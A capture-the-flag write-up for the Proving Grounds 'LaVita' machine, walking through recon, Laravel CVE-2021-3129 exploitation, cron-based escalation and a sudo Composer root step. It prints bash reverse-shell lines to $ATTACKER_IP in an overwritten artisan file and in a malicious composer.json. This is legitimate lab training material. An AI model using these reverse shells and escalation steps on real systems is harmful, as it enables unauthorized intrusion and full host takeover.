LaVita Writeup - Proving Grounds
Created October 8, 2026 • Last updated October 8, 2026 • 4 min read
LaVita runs Laravel 8.4.0 with open registration. Enabling debug mode from the authenticated dashboard exposes CVE-2021-3129, a log-poisoning deserialization bug in Laravel Ignition that gives a shell as www-data. A writable artisan file executed by a cron job moves that into a shell as skunk, and a scoped sudo rule for Composer finishes the job as root.
Reconnaissance
Nmap
Scan all TCP ports and fingerprint the services.
PORT STATE SERVICE VERSION 22/tcp open ssh OpenSSH 8.4p1 Debian 5+deb11u2 80/tcp open http Apache 2.4.56 (Debian)
Explain command
| -p- | Scan all 65535 TCP ports. |
| -sC -sV | Run default scripts and probe service versions. |
The site is "LAVITA E BELLA", a Laravel app. Its team page lists a Johnny Skunk, which maps to a skunk system user later on.
Directory discovery
Brute force directories.
/login (Status: 200) /register (Status: 200) /home (Status: 302) -> /login
Explain command
| -w | Wordlist to brute force with. |
Registration is open. Browsing a non-existent path also returns a 404 page that reveals the exact version: Laravel 8.4.0.
Enumeration
Register an account and log in. The authenticated /home dashboard has an Enable button for APP_DEBUG, currently off. An upload feature on the same page renames files and blocks PHP, a dead end. Enabling debug mode is the required step for CVE-2021-3129.
Exploitation
Laravel Ignition RCE (CVE-2021-3129)
With debug mode on, Laravel 8.4.0's Ignition error handler is reachable at /_ignition/execute-solution. The public exploit poisons the Laravel log file with a PHAR payload and triggers deserialization through that endpoint.
[+] Logs cleared [+] PHAR deserialized. Exploited www-data
Command execution confirmed. Start a listener and send a reverse shell through the same exploit.
listening on [any] $ATTACKER_PORT ...
Explain command
| -lvnp | Listen, verbose, no DNS resolution, on the given port. |
The listener catches a shell as www-data.
Privilege Escalation
www-data to skunk via a writable artisan cron job
Laravel's artisan entry point is owned by www-data but still writable.
-rwxr-xr-x 1 www-data www-data 1686 Nov 10 2020 /var/www/html/lavita/artisan
skunk has a cron job that periodically executes this file directly, not through php artisan, so the replacement has to be a shell script rather than PHP. Back up the original and drop in a reverse shell.
listening on [any] 4444 ...
#!/bin/bash
bash -i >& /dev/tcp/$ATTACKER_IP/4444 0>&1
Within a minute the cron fires and the listener catches a shell as skunk.
uid=1001(skunk) gid=1001(skunk) groups=1001(skunk),27(sudo),33(www-data) (root) NOPASSWD: /usr/bin/composer --working-dir=/var/www/html/lavita *
skunk can run Composer as root, scoped to the app's working directory. GTFOBins lists a run-script trick for this: write a composer.json with a malicious script and let sudo run it.
Composer GTFOBins to root
From the www-data shell, back up and overwrite the app's composer.json.
{"scripts":{"x":"bash -c 'bash -i >& /dev/tcp/$ATTACKER_IP/9999 0>&1'"}}
Start a listener, then run the script as root from the skunk shell.
listening on [any] 9999 ...
root@lavita:~# id uid=0(root) gid=0(root) groups=0(root)
Root shell received through the listener. A direct /bin/sh -i 0<&3 1>&3 2>&3 script also drops to a root prompt but is less stable than catching a fresh reverse shell.
Related
References
-
Laravel Ignition log-poisoning deserialization leading to remote code execution.
-
nth347 CVE-2021-3129 ExploitCVE: nth347 CVE-2021-3129 Exploit, github.com/nth347/CVE-2021-3129_exploit (opens in new tab)
One-shot public exploit used for this box.
-
GTFOBins - ComposerTOOL: GTFOBins - Composer, gtfobins.github.io/gtfobins/composer (opens in new tab)
sudo composer run-script privilege escalation technique.